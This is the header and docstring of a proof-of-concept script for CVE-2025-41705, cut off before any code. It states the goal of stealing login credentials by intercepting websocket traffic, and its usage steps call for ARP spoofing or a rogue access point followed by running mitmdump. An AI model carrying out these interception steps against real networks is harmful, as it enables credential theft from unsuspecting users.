#!/usr/bin/env python3 """ CVE-2025-41705 PoC: Websocket MITM Credential Interception This PoC demonstrates how an attacker can intercept websocket messages to steal login credentials from the affected Webfrontend. Requirements: pip install mitmproxy websocket-client Usage: 1. Set up ARP spoofing or rogue AP to perform MITM 2. Run mitmproxy with the script: mitmdump -s poc.py 3.
